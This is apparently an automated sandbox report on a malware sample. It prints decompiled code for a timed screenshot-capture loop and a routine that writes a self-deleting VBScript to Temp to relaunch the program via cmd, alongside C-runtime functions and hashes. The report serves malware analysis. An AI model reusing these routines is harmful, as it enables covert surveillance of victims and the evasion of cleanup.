                                      • Part of subcall function 00450453: _free.LIBCMT ref: 004504B8
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 004504CA
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 004504DC
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 004504EE
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450500
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450512
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450524
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450536
                                      • Part of subcall function 00450453: _free.LIBCMT ref: 00450548
                                    • _free.LIBCMT ref: 00451250
                                      • Part of subcall function 00446652: HeapFree.KERNEL32(00000000,00000000,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?), ref: 00446668
                                      • Part of subcall function 00446652: GetLastError.KERNEL32(?,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?,?), ref: 0044667A
                                    • _free.LIBCMT ref: 00451272
                                    • _free.LIBCMT ref: 00451287
                                    • _free.LIBCMT ref: 00451292
                                    • _free.LIBCMT ref: 004512B4
                                    • _free.LIBCMT ref: 004512C7
                                    • _free.LIBCMT ref: 004512D5
                                    • _free.LIBCMT ref: 004512E0
                                    • _free.LIBCMT ref: 00451318
                                    • _free.LIBCMT ref: 0045131F
                                    • _free.LIBCMT ref: 0045133C
                                    • _free.LIBCMT ref: 00451354
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                    • String ID:
                                    • API String ID: 161543041-0
                                    • Opcode ID: 2f1d87d0e257826117984e37254ff410fc3e82beb909631ef58ecd84ed80cd16
                                    • Instruction ID: 10e67c9c595fd476c61780fd40ff16dace4657778dac039799cf94307945db3b
                                    • Opcode Fuzzy Hash: 2f1d87d0e257826117984e37254ff410fc3e82beb909631ef58ecd84ed80cd16
                                    • Instruction Fuzzy Hash: B7315F715003009FEB20AA7AE856B5B73E9FF11315F51856FF858D6262DF38AC84CB19
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00419F06 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E00419F06() {
				intOrPtr* _t42;
				void* _t45;
				char* _t54;
				void* _t72;
				long _t78;
				void* _t83;
				struct _SECURITY_ATTRIBUTES* _t85;
				struct _SECURITY_ATTRIBUTES* _t92;
				void* _t131;
				void* _t132;
				void* _t140;
				void* _t141;
				void* _t146;
				intOrPtr _t147;
				void* _t148;
				void* _t150;

				E00457978(E00457DA3, _t146);
				_push(_t141);
				 *((intOrPtr*)(_t146 - 0x10)) = _t147;
				_t92 = 0;
				 *((intOrPtr*)(_t146 - 4)) = 0;
				if( *0x474acc == 0) {
					_t147 = _t147 - 0xc;
					_t131 = _t146 - 0x68;
					E00418551(_t131);
					__imp__GdiplusStartup(0x474acc, _t131, 0);
				}
				_t150 =  *0x472d94 - _t92; // 0x0
				if(_t150 == 0) {
					E00401F13(0x4756b0, _t132, _t141, E00419416(_t146 - 0x40, _t132));
					E00401F09();
				}
				_t42 = E00401FAB(E00401E65(0x4750e4, _t132, _t146, _t150, 0x19));
				_t45 = E00401F04(E0041BBB0(_t146 - 0x58, E00401E65(0x4750e4, _t132, _t146, _t150, 0x1a)));
				_t134 =  *_t42;
				E00401F13(0x4756c8,  *_t42, 0x4756c8, E0040D982(_t146 - 0x40,  *_t42, _t45));
				E00401F09();
				E00401F09();
				CreateDirectoryW(E00401F04(0x4756c8), _t92);
				E00401F86(_t92, _t146 - 0xb0);
				E00401F86(_t92, _t146 - 0x80);
				 *(_t146 - 0x11) = _t92;
				 *0x472d63 = 1;
				_t54 =  *((intOrPtr*)(_t146 + 8));
				_t145 =  !=  ? L"time_%04i%02i%02i_%02i%02i%02i" : L"wnd_%04i%02i%02i_%02i%02i%02i";
				 *(_t146 - 0x18) =  !=  ? L"time_%04i%02i%02i_%02i%02i%02i" : L"wnd_%04i%02i%02i_%02i%02i%02i";
				_t140 = Sleep;
				L6:
				while(1) {
					if( *_t54 != 1) {
						L11:
						GetLocalTime(_t146 - 0x28);
						_push( *(_t146 - 0x1c) & 0x0000ffff);
						_push( *(_t146 - 0x1e) & 0x0000ffff);
						_push( *(_t146 - 0x20) & 0x0000ffff);
						_push( *(_t146 - 0x22) & 0x0000ffff);
						_push( *(_t146 - 0x26) & 0x0000ffff);
						E0041852B(_t146 - 0x2b8, _t145,  *(_t146 - 0x28) & 0x0000ffff);
						_t147 = _t147 + 0x20;
						E00401F13(_t146 - 0x80, _t66, _t145, E00403014(_t92, _t146 - 0x58, E00403014(_t92, _t146 - 0x40, E0040915B(_t146 - 0x98, 0x4756c8, _t146, "\\"), _t140, _t146, __eflags, _t146 - 0x2b8), _t140, _t146, __eflags, 0x466528));
						E00401F09();
						E00401F09();
						E00401F09();
						_t72 = E00401F04(_t146 - 0x80);
						_t134 =  *((intOrPtr*)( *((intOrPtr*)(_t146 + 8)) + 1));
						E00419DC0(_t72,  *((intOrPtr*)( *((intOrPtr*)(_t146 + 8)) + 1)), __eflags);
						__eflags =  *((char*)( *((intOrPtr*)(_t146 + 8))));
						if(__eflags != 0) {
							_t92 = 0;
							 *(_t146 - 0x11) = 0;
							_t78 = E0043B9FC(_t75, E00401FAB(E00401E65(0x4750e4, _t134, _t146, __eflags, 0x18))) * 0x3e8;
							__eflags = _t78;
						} else {
							_t78 = E0043B9FC(_t79, E00401FAB(E00401E65(0x4750e4, _t134, _t146, __eflags, 0x15))) * 0xea60;
						}
						Sleep(_t78);
						_t54 =  *((intOrPtr*)(_t146 + 8));
						continue;
					}
					_t145 = L"wnd_%04i%02i%02i_%02i%02i%02i";
					 *(_t146 - 0x18) = L"wnd_%04i%02i%02i_%02i%02i%02i";
					while(1) {
						_t153 = _t92;
						if(_t92 != 0) {
							goto L11;
						}
						_t83 = E00401FAB(E00401E65(0x4750e4, _t134, _t146, _t153, 0x17));
						_t148 = _t147 - 0x18;
						E0040417E(_t92, _t148, _t134, _t146, _t83);
						_t85 = E0041C4A3(0, _t134);
						_t147 = _t148 + 0x18;
						_t92 = _t85;
						 *(_t146 - 0x11) = _t92;
						if(_t92 != 0) {
							goto L11;
						}
						Sleep(0x3e8);
					}
					goto L11;
				}
			}



















                                    0x00419f0b
                                    0x00419f17
                                    0x00419f19
                                    0x00419f1c
                                    0x00419f1e
                                    0x00419f27
                                    0x00419f29
                                    0x00419f2c
                                    0x00419f2f
                                    0x00419f3d
                                    0x00419f3d
                                    0x00419f43
                                    0x00419f49
                                    0x00419f59
                                    0x00419f61
                                    0x00419f61
                                    0x00419f76
                                    0x00419f92
                                    0x00419f98
                                    0x00419fab
                                    0x00419fb3
                                    0x00419fbb
                                    0x00419fc9
                                    0x00419fd5
                                    0x00419fdd
                                    0x00419fe2
                                    0x00419fe5
                                    0x00419ff6
                                    0x00419ffc
                                    0x00419fff
                                    0x0041a002
                                    0x00000000
                                    0x0041a008
                                    0x0041a00b
                                    0x0041a053
                                    0x0041a057
                                    0x0041a061
                                    0x0041a066
                                    0x0041a06b
                                    0x0041a070
                                    0x0041a075
                                    0x0041a083
                                    0x0041a088
                                    0x0041a0c7
                                    0x0041a0cf
                                    0x0041a0d7
                                    0x0041a0e2
                                    0x0041a0ea
                                    0x0041a0f2
                                    0x0041a0f7
                                    0x0041a104
                                    0x0041a107
                                    0x0041a125
                                    0x0041a127
                                    0x0041a13e
                                    0x0041a13e
                                    0x0041a109
                                    0x0041a11d
                                    0x0041a11d
                                    0x0041a146
                                    0x0041a148
                                    0x00000000
                                    0x0041a148
                                    0x0041a00d
                                    0x0041a012
                                    0x0041a015
                                    0x0041a015
                                    0x0041a017
                                    0x00000000
                                    0x00000000
                                    0x0041a027
                                    0x0041a02c
                                    0x0041a032
                                    0x0041a039
                                    0x0041a03e
                                    0x0041a041
                                    0x0041a043
                                    0x0041a048
                                    0x00000000
                                    0x00000000
                                    0x0041a04f
                                    0x0041a04f
                                    0x00000000
                                    0x0041a015

                                    APIs
                                    • __EH_prolog.LIBCMT ref: 00419F0B
                                    • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419F3D
                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 00419FC9
                                    • Sleep.KERNEL32(000003E8), ref: 0041A04F
                                    • GetLocalTime.KERNEL32(?), ref: 0041A057
                                    • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A146
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                    • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                                    • API String ID: 489098229-1431523004
                                    • Opcode ID: 55bad88b0ff7fba3e53ff6d618f1e8a9ec2a6d5040df31446c87d2a7e01464b9
                                    • Instruction ID: 76ff42c807ceb472d81ad9fa48f9fe2a423ef27d5a5519d41e2c05abd77b6599
                                    • Opcode Fuzzy Hash: 55bad88b0ff7fba3e53ff6d618f1e8a9ec2a6d5040df31446c87d2a7e01464b9
                                    • Instruction Fuzzy Hash: 2E516170A001159ACB14BBB5C8529FD7B69AF45309F40403FF509AB1E2EF7C9E85C799
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040D74D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0040D74D(void* __ebx, void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				char _v148;
				char _v172;
				char _v196;
				short _v716;
				void* __edi;
				void* __ebp;
				void* _t36;
				void* _t37;
				void* _t40;
				void* _t54;
				void* _t67;
				void* _t68;
				void* _t79;
				void* _t137;

				_t79 = __ebx;
				E0041279E();
				_t36 = E0040247C();
				_t37 = E00401FAB(0x475338);
				_t40 = E00413646(E00401FAB(0x4752f0), "exepath",  &_v716, 0x208, _t37, _t36);
				_t141 = _t40;
				if(_t40 == 0) {
					GetModuleFileNameW(0,  &_v716, 0x208);
				}
				E00403014(_t79,  &_v124, E0041BBB0( &_v52, E0041B8CA( &_v76)), 0, _t137, _t141, L".vbs");
				E00401F09();
				E00401FD8();
				E0040431D(_t79,  &_v100, E00403014(_t79,  &_v76, E0040417E(_t79,  &_v52, _t42, _t137, E0043C01F(_t79,  &_v76, _t141, L"Temp")), 0, _t137, _t141, "\\"), _t137, _t141,  &_v124);
				E00401F09();
				E00401F09();
				E00401F86(_t79,  &_v28);
				_t54 = E0040417E(_t79,  &_v196, _t49, _t137, L"\"\"\", 0");
				E0040325D(E00403014(_t79,  &_v76, E00402FA5( &_v52, E00403014(_t79,  &_v148, E0040417E(_t79,  &_v172, _t49, _t137, L"CreateObject(\"WScript.Shell\").Run \"cmd /c \"\""), 0, _t137, _t141,  &_v716), _t54), 0, _t137, _t141, "\n"));
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				E00401F09();
				L00409052(_t79,  &_v28, 0, _t137, L"CreateObject(\"Scripting.FileSystemObject\").DeleteFile(Wscript.ScriptFullName)");
				_t67 = E00401F04( &_v100);
				_t68 = E0040247C();
				E00401F04( &_v28);
				if(E0041C343(_t68 + _t68, _t67, 0) != 0 && ShellExecuteW(0, L"open", E00401F04( &_v100), 0x466468, 0x466468, 0) > 0x20) {
					ExitProcess(0);
				}
				E00401F09();
				E00401F09();
				return E00401F09();
			}






















                                    0x0040d74d
                                    0x0040d758
                                    0x0040d764
                                    0x0040d76c
                                    0x0040d790
                                    0x0040d79a
                                    0x0040d79c
                                    0x0040d7a7
                                    0x0040d7a7
                                    0x0040d7c9
                                    0x0040d7d2
                                    0x0040d7da
                                    0x0040d80c
                                    0x0040d815
                                    0x0040d81d
                                    0x0040d825
                                    0x0040d83a
                                    0x0040d87f
                                    0x0040d887
                                    0x0040d88f
                                    0x0040d89a
                                    0x0040d8a5
                                    0x0040d8b0
                                    0x0040d8bd
                                    0x0040d8c6
                                    0x0040d8cf
                                    0x0040d8db
                                    0x0040d8ed
                                    0x0040d912
                                    0x0040d912
                                    0x0040d91b
                                    0x0040d923
                                    0x0040d935

                                    APIs
                                      • Part of subcall function 0041279E: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F816), ref: 004127AE
                                      • Part of subcall function 0041279E: WaitForSingleObject.KERNEL32(000000FF), ref: 004127C1
                                      • Part of subcall function 00413646: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,004752F0), ref: 00413662
                                      • Part of subcall function 00413646: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 0041367B
                                      • Part of subcall function 00413646: RegCloseKey.KERNEL32(00000000), ref: 00413686
                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D7A7
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D906
                                    • ExitProcess.KERNEL32 ref: 0040D912
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                    • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                    • API String ID: 1913171305-3159800282
                                    • Opcode ID: 6c57a75082ebc641f7ad6132e5c95fe7fe91b43707b0a4d8c3fa78f41aa95980
                                    • Instruction ID: f4f817151039423b5ec160ded737cbbd5f9c705b5e3b109b0aed3db5419cb753
                                    • Opcode Fuzzy Hash: 6c57a75082ebc641f7ad6132e5c95fe7fe91b43707b0a4d8c3fa78f41aa95980
                                    • Instruction Fuzzy Hash: 0C411A719001195ACB15FAA1DC56DEEB778AF54709F10007FB106B31E2EF785E4ACA98
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00450551 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 97%
                                    			E00450551(void* __edx, char _a4) {
				void* _v8;
				void* _v12;
				signed int _v16;
				intOrPtr* _v20;
				signed int _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t105;
				char _t195;
				char _t210;
				signed int _t213;
				void* _t224;
				char* _t226;
				signed int _t227;
				signed int _t231;
				signed int _t232;
				void* _t234;
				void* _t236;
				signed int _t237;
				signed int _t238;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t246;
				signed int _t247;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				char* _t257;

				_t224 = __edx;
				_t210 = _a4;
				_v16 = 0;
				_v28 = _t210;
				_v24 = 0;
				if( *((intOrPtr*)(_t210 + 0xac)) != 0 ||  *((intOrPtr*)(_t210 + 0xb0)) != 0) {
					_t234 = E00445A43(0, 1, 0x50);
					_v8 = _t234;
					E00446652(0);
					if(_t234 != 0) {
						_t227 = E00445A43(0, 1, 4);
						_v12 = _t227;
						E00446652(0);
						if(_t227 != 0) {
							if( *((intOrPtr*)(_t210 + 0xac)) == 0) {
								_t213 = 0x14;
								memcpy(_v8, 0x471188, _t213 << 2);
								L25:
								_t236 = _v8;
								_t231 = _v16;
								 *_t236 =  *( *(_t210 + 0x88));
								 *((intOrPtr*)(_t236 + 4)) =  *((intOrPtr*)( *(_t210 + 0x88) + 4));
								 *((intOrPtr*)(_t236 + 8)) =  *((intOrPtr*)( *(_t210 + 0x88) + 8));
								 *((intOrPtr*)(_t236 + 0x30)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x30));
								 *((intOrPtr*)(_t236 + 0x34)) =  *((intOrPtr*)( *(_t210 + 0x88) + 0x34));
								 *_v12 = 1;
								if(_t231 != 0) {
									 *_t231 = 1;
								}
								goto L27;
							}
							_t232 = E00445A43(0, 1, 4);
							_v16 = _t232;
							E00446652(0);
							if(_t232 != 0) {
								_t233 =  *((intOrPtr*)(_t210 + 0xac));
								_t14 = _t234 + 0xc; // 0xc
								_t237 = E00452DC5(_t210, _t224,  *((intOrPtr*)(_t210 + 0xac)), _t234,  &_v28, 1,  *((intOrPtr*)(_t210 + 0xac)), 0x15, _t14);
								_t238 = _t237 | E00452DC5(_t210, _t224,  *((intOrPtr*)(_t210 + 0xac)), _t237,  &_v28, 1,  *((intOrPtr*)(_t210 + 0xac)), 0x14, _v8 + 0x10);
								_t239 = _t238 | E00452DC5(_t210, _t224,  *((intOrPtr*)(_t210 + 0xac)), _t238,  &_v28, 1, _t233, 0x16, _v8 + 0x14);
								_t240 = _t239 | E00452DC5(_t210, _t224, _t233, _t239,  &_v28, 1, _t233, 0x17, _v8 + 0x18);
								_v20 = _v8 + 0x1c;
								_t241 = _t240 | E00452DC5(_t210, _t224, _t233, _t240,  &_v28, 1, _t233, 0x18, _v8 + 0x1c);
								_t242 = _t241 | E00452DC5(_t210, _t224, _t233, _t241,  &_v28, 1, _t233, 0x50, _v8 + 0x20);
								_t243 = _t242 | E00452DC5(_t210, _t224, _t233, _t242,  &_v28, 1, _t233, 0x51, _v8 + 0x24);
								_t244 = _t243 | E00452DC5(_t210, _t224, _t233, _t243,  &_v28, 0, _t233, 0x1a, _v8 + 0x28);
								_t245 = _t244 | E00452DC5(_t210, _t224, _t233, _t244,  &_v28, 0, _t233, 0x19, _v8 + 0x29);
								_t246 = _t245 | E00452DC5(_t210, _t224, _t233, _t245,  &_v28, 0, _t233, 0x54, _v8 + 0x2a);
								_t247 = _t246 | E00452DC5(_t210, _t224, _t233, _t246,  &_v28, 0, _t233, 0x55, _v8 + 0x2b);
								_t248 = _t247 | E00452DC5(_t210, _t224, _t233, _t247,  &_v28, 0, _t233, 0x56, _v8 + 0x2c);
								_t249 = _t248 | E00452DC5(_t210, _t224, _t233, _t248,  &_v28, 0, _t233, 0x57, _v8 + 0x2d);
								_t250 = _t249 | E00452DC5(_t210, _t224, _t233, _t249,  &_v28, 0, _t233, 0x52, _v8 + 0x2e);
								_t251 = _t250 | E00452DC5(_t210, _t224, _t233, _t250,  &_v28, 0, _t233, 0x53, _v8 + 0x2f);
								_t252 = _t251 | E00452DC5(_t210, _t224, _t233, _t251,  &_v28, 2, _t233, 0x15, _v8 + 0x38);
								_t253 = _t252 | E00452DC5(_t210, _t224, _t233, _t252,  &_v28, 2, _t233, 0x14, _v8 + 0x3c);
								_t254 = _t253 | E00452DC5(_t210, _t224, _t233, _t253,  &_v28, 2, _t233, 0x16, _v8 + 0x40);
								_t255 = _t254 | E00452DC5(_t210, _t224, _t233, _t254,  &_v28, 2, _t233, 0x17, _v8 + 0x44);
								_t256 = _t255 | E00452DC5(_t210, _t224, _t233, _t255,  &_v28, 2, _t233, 0x50, _v8 + 0x48);
								if((E00452DC5(_t210, _t224, _t233, _t256,  &_v28, 2, _t233, 0x51, _v8 + 0x4c) | _t256) == 0) {
									_t226 =  *_v20;
									while( *_t226 != 0) {
										_t195 =  *_t226;
										if(_t195 < 0x30 || _t195 > 0x39) {
											if(_t195 != 0x3b) {
												goto L17;
											}
											_t257 = _t226;
											do {
												 *_t257 =  *((intOrPtr*)(_t257 + 1));
												_t257 = _t257 + 1;
											} while ( *_t257 != 0);
										} else {
											 *_t226 = _t195 - 0x30;
											L17:
											_t226 = _t226 + 1;
										}
									}
									goto L25;
								}
								E00450453(_v8);
								E00446652(_v8);
								E00446652(_v12);
								E00446652(_v16);
								goto L4;
							}
							E00446652(_t234);
							E00446652(_v12);
							L7:
							goto L4;
						}
						E00446652(_t234);
						goto L7;
					}
					L4:
					return 1;
				} else {
					_t231 = 0;
					_v12 = 0;
					_t236 = 0x471188;
					L27:
					_t105 =  *(_t210 + 0x84);
					if(_t105 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t210 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t105 | 0xffffffff) == 0) {
							E00446652( *(_t210 + 0x88));
							E00446652( *((intOrPtr*)(_t210 + 0x7c)));
						}
					}
					 *((intOrPtr*)(_t210 + 0x7c)) = _v12;
					 *(_t210 + 0x84) = _t231;
					 *(_t210 + 0x88) = _t236;
					return 0;
				}
			}












































                                    0x00450551
                                    0x0045055a
                                    0x00450561
                                    0x00450564
                                    0x00450567
                                    0x00450570
                                    0x00450592
                                    0x00450596
                                    0x00450599
                                    0x004505a3
                                    0x004505b6
                                    0x004505ba
                                    0x004505bd
                                    0x004505c7
                                    0x004505d9
                                    0x0045086f
                                    0x00450870
                                    0x00450872
                                    0x0045087a
                                    0x0045087e
                                    0x00450883
                                    0x0045088e
                                    0x0045089a
                                    0x004508a6
                                    0x004508b2
                                    0x004508b8
                                    0x004508bc
                                    0x004508be
                                    0x004508be
                                    0x00000000
                                    0x004508bc
                                    0x004505e8
                                    0x004505ec
                                    0x004505ef
                                    0x004505f9
                                    0x0045060d
                                    0x00450613
                                    0x00450628
                                    0x0045063c
                                    0x00450653
                                    0x0045066d
                                    0x00450675
                                    0x00450687
                                    0x0045069e
                                    0x004506b5
                                    0x004506cf
                                    0x004506e6
                                    0x004506fd
                                    0x00450714
                                    0x0045072e
                                    0x00450745
                                    0x0045075c
                                    0x00450773
                                    0x0045078d
                                    0x004507a4
                                    0x004507bb
                                    0x004507d2
                                    0x004507ec
                                    0x00450808
                                    0x00450836
                                    0x00450849
                                    0x0045083a
                                    0x0045083e
                                    0x00450852
                                    0x00000000
                                    0x00000000
                                    0x00450854
                                    0x00450856
                                    0x00450859
                                    0x0045085b
                                    0x0045085e
                                    0x00450844
                                    0x00450846
                                    0x00450848
                                    0x00450848
                                    0x00450848
                                    0x0045083e
                                    0x00000000
                                    0x0045084e
                                    0x0045080e
                                    0x00450814
                                    0x0045081d
                                    0x00450826
                                    0x00000000
                                    0x0045082b
                                    0x004505fc
                                    0x00450605
                                    0x004505cf
                                    0x00000000
                                    0x004505cf
                                    0x004505ca
                                    0x00000000
                                    0x004505ca
                                    0x004505a5
                                    0x00000000
                                    0x0045057a
                                    0x0045057a
                                    0x0045057c
                                    0x0045057f
                                    0x004508c0
                                    0x004508c0
                                    0x004508c8
                                    0x004508ca
                                    0x004508ca
                                    0x004508d2
                                    0x004508d7
                                    0x004508db
                                    0x004508e3
                                    0x004508eb
                                    0x004508f1
                                    0x004508db
                                    0x004508f5
                                    0x004508fa
                                    0x00450900
                                    0x00000000
                                    0x00450900

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free
                                    • String ID:
                                    • API String ID: 269201875-0
                                    • Opcode ID: 150d02efb69288e28b538d13911ced70cd88637e204aac801fa1dbe9debde128
                                    • Instruction ID: f6f0a0196c833260a7aaa4d4ce9e5a19d4186e3e7a5ee8f0e7f97bfdf335c5a6
                                    • Opcode Fuzzy Hash: 150d02efb69288e28b538d13911ced70cd88637e204aac801fa1dbe9debde128
                                    • Instruction Fuzzy Hash: EBC19576D00204AFDB20DBA8CC86FDE77F8AB09745F15406AFE04FB287D67499448BA4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00455B2C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 41%
                                    			E00455B2C(void* __ecx, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t164;
				intOrPtr _t180;
				signed int* _t190;
				signed int _t192;
				char _t197;
				signed int _t203;
				signed int _t206;
				signed int _t215;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t227;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed char _t242;
				intOrPtr _t245;
				void* _t248;
				void* _t252;
				void* _t262;
				signed int _t263;
				signed int _t266;
				signed int _t269;
				signed int _t270;
				void* _t272;
				void* _t274;
				void* _t275;
				void* _t277;
				void* _t278;
				void* _t280;
				void* _t284;

				_t262 = E0045588F(__ecx,  &_v72, _a16, _a20, _a24);
				_t192 = 6;
				memcpy( &_v48, _t262, _t192 << 2);
				_t274 = _t272 + 0x1c;
				_t248 = _t262 + _t192 + _t192;
				_t263 = _t262 | 0xffffffff;
				if(_v36 != _t263) {
					_t114 = E00450246(_t248, _t263, __eflags);
					_t190 = _a8;
					 *_t190 = _t114;
					__eflags = _t114 - _t263;
					if(_t114 != _t263) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t275 = _t274 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t275,  &_v48, 1 << 2);
						_t197 = 0;
						_t252 = E004557FA();
						_t277 = _t275 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t252);
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E0045018F(_t197,  *_t190, _t252);
								_t242 = _v5 | 0x00000001;
								_v5 = _t242;
								_v48 = _t242;
								 *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) = _t242;
								_t203 =  *_t190;
								_t205 = (_t203 & 0x0000003f) * 0x30;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x472810 + (_t203 >> 6) * 4)) + 0x29 + (_t203 & 0x0000003f) * 0x30)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L20:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t278 = _t277 - 0x18;
									_t206 = 6;
									_push( *_t190);
									memcpy(_t278,  &_v48, _t206 << 2);
									_t134 = E004555AD(_t190,  &_v48 + _t206 + _t206,  &_v48);
									_t280 = _t278 + 0x30;
									__eflags = _t134;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x29 + ( *_t190 & 0x0000003f) * 0x30)) = _v6;
										 *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x472810 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t225 =  *_t190;
												_t227 = (_t225 & 0x0000003f) * 0x30;
												_t164 =  *((intOrPtr*)(0x472810 + (_t225 >> 6) * 4));
												_t87 = _t164 + _t227 + 0x28;
												 *_t87 =  *(_t164 + _t227 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t266 = _v44;
										__eflags = (_t266 & 0xc0000000) - 0xc0000000;
										if((_t266 & 0xc0000000) != 0xc0000000) {
											L31:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L31;
											}
											CloseHandle(_v12);
											_v44 = _t266 & 0x7fffffff;
											_t215 = 6;
											_push( &_v24);
											_push(_a12);
											memcpy(_t280 - 0x18,  &_v48, _t215 << 2);
											_t245 = E004557FA();
											__eflags = _t245 - 0xffffffff;
											if(_t245 != 0xffffffff) {
												_t217 =  *_t190;
												_t219 = (_t217 & 0x0000003f) * 0x30;
												__eflags = _t219;
												 *((intOrPtr*)( *((intOrPtr*)(0x472810 + (_t217 >> 6) * 4)) + _t219 + 0x18)) = _t245;
												goto L31;
											}
											E004404F7(GetLastError());
